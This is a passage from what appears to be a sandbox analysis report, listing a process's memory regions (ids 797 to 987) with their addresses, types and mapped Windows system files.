"browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 797 start_va = 0x30f0000 end_va = 0x31affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 798 start_va = 0x3780000 end_va = 0x397ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003780000" filename = "" Region: id = 799 start_va = 0x3780000 end_va = 0x37bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003780000" filename = "" Region: id = 800 start_va = 0x37c0000 end_va = 0x37fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000037c0000" filename = "" Region: id = 801 start_va = 0x3800000 end_va = 0x383ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003800000" filename = "" Region: id = 802 start_va = 0x3840000 end_va = 0x387ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003840000" filename = "" Region: id = 803 start_va = 0x3880000 end_va = 0x397ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003880000" filename = "" Region: id = 804 start_va = 0x3980000 end_va = 0x3a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003980000" filename = "" Region: id = 805 start_va = 0x3a80000 end_va = 0x3b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a80000" filename = "" Region: id = 806 start_va = 0x3b80000 end_va = 0x3c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b80000" filename = "" Region: id = 807 start_va = 0x3c80000 end_va = 0x3cbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c80000" filename = "" Region: id = 808 start_va = 0x3cc0000 end_va = 0x3cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003cc0000" filename = "" Region: id = 809 start_va = 0x3e20000 end_va = 0x3f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e20000" filename = "" Region: id = 810 start_va = 0x3f20000 end_va = 0x401ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f20000" filename = "" Region: id = 811 start_va = 0x4020000 end_va = 0x411ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004020000" filename = "" Region: id = 812 start_va = 0x4120000 end_va = 0x415ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004120000" filename = "" Region: id = 813 start_va = 0x4160000 end_va = 0x425ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004160000" filename = "" Region: id = 814 start_va = 0x4260000 end_va = 0x429ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004260000" filename = "" Region: id = 815 start_va = 0x42a0000 end_va = 0x439ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042a0000" filename = "" Region: id = 816 start_va = 0x7ef95000 end_va = 0x7ef97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 817 start_va = 0x7ef98000 end_va = 0x7ef9afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 818 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 819 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 820 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 821 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 822 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 823 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 824 start_va = 0x2600000 end_va = 0x260ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 825 start_va = 0x2600000 end_va = 0x2611fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 826 start_va = 0x2600000 end_va = 0x2613fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 827 start_va = 0x2b00000 end_va = 0x2b0dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b00000" filename = "" Region: id = 828 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 829 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 830 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 831 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 832 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 833 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 834 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 835 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 836 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 837 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 838 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 839 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 840 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 841 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 842 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 843 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 844 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 845 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 846 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 847 start_va = 0x43a0000 end_va = 0x449ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043a0000" filename = "" Region: id = 848 start_va = 0x2600000 end_va = 0x260ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 849 start_va = 0x2600000 end_va = 0x2611fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 850 start_va = 0x2600000 end_va = 0x2613fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 851 start_va = 0x2b00000 end_va = 0x2b0dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b00000" filename = "" Region: id = 852 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 853 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 854 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 855 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 856 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 857 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 858 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 859 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 860 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 861 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 862 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 863 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 864 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 865 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 866 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 867 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 868 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 869 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 870 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 871 start_va = 0x2600000 end_va = 0x260ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 872 start_va = 0x2600000 end_va = 0x2611fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 873 start_va = 0x2600000 end_va = 0x2613fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 874 start_va = 0x2b00000 end_va = 0x2b0dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b00000" filename = "" Region: id = 875 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 876 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 877 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 878 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 879 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 880 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 881 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 882 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 883 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 884 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 885 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 886 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 887 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 888 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 889 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 890 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 891 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 892 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 893 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 894 start_va = 0x2600000 end_va = 0x260ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 895 start_va = 0x2600000 end_va = 0x2611fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 896 start_va = 0x2600000 end_va = 0x2613fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 897 start_va = 0x2b00000 end_va = 0x2b0dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b00000" filename = "" Region: id = 898 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 899 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 900 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 901 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 902 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 903 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 904 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 905 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 906 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 907 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 908 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 909 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 910 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 911 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 912 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 913 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 914 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 915 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 916 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 917 start_va = 0x2600000 end_va = 0x260ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 918 start_va = 0x2600000 end_va = 0x2611fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 919 start_va = 0x2600000 end_va = 0x2613fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 920 start_va = 0x2b00000 end_va = 0x2b0dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b00000" filename = "" Region: id = 921 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 922 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 923 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 924 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 925 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 926 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 927 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 928 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 929 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 930 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 931 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 932 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 933 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 934 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 935 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 936 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 937 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 938 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 939 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 940 start_va = 0x2600000 end_va = 0x260ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 941 start_va = 0x2600000 end_va = 0x2611fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 942 start_va = 0x2600000 end_va = 0x2613fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 943 start_va = 0x2b00000 end_va = 0x2b0dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b00000" filename = "" Region: id = 944 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 945 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 946 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 947 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 948 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 949 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 950 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 951 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 952 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 953 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 954 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 955 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 956 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 957 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 958 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 959 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 960 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 961 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 962 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 963 start_va = 0x2600000 end_va = 0x260ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 964 start_va = 0x2600000 end_va = 0x2611fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 965 start_va = 0x2600000 end_va = 0x2613fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 966 start_va = 0x2b00000 end_va = 0x2b0dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b00000" filename = "" Region: id = 967 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 968 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 969 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 970 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 971 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 972 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 973 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 974 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 975 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 976 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 977 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 978 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 979 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 980 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 981 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 982 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 983 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 984 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 985 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 986 start_va = 0x2600000 end_va = 0x260ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 987 start_va = 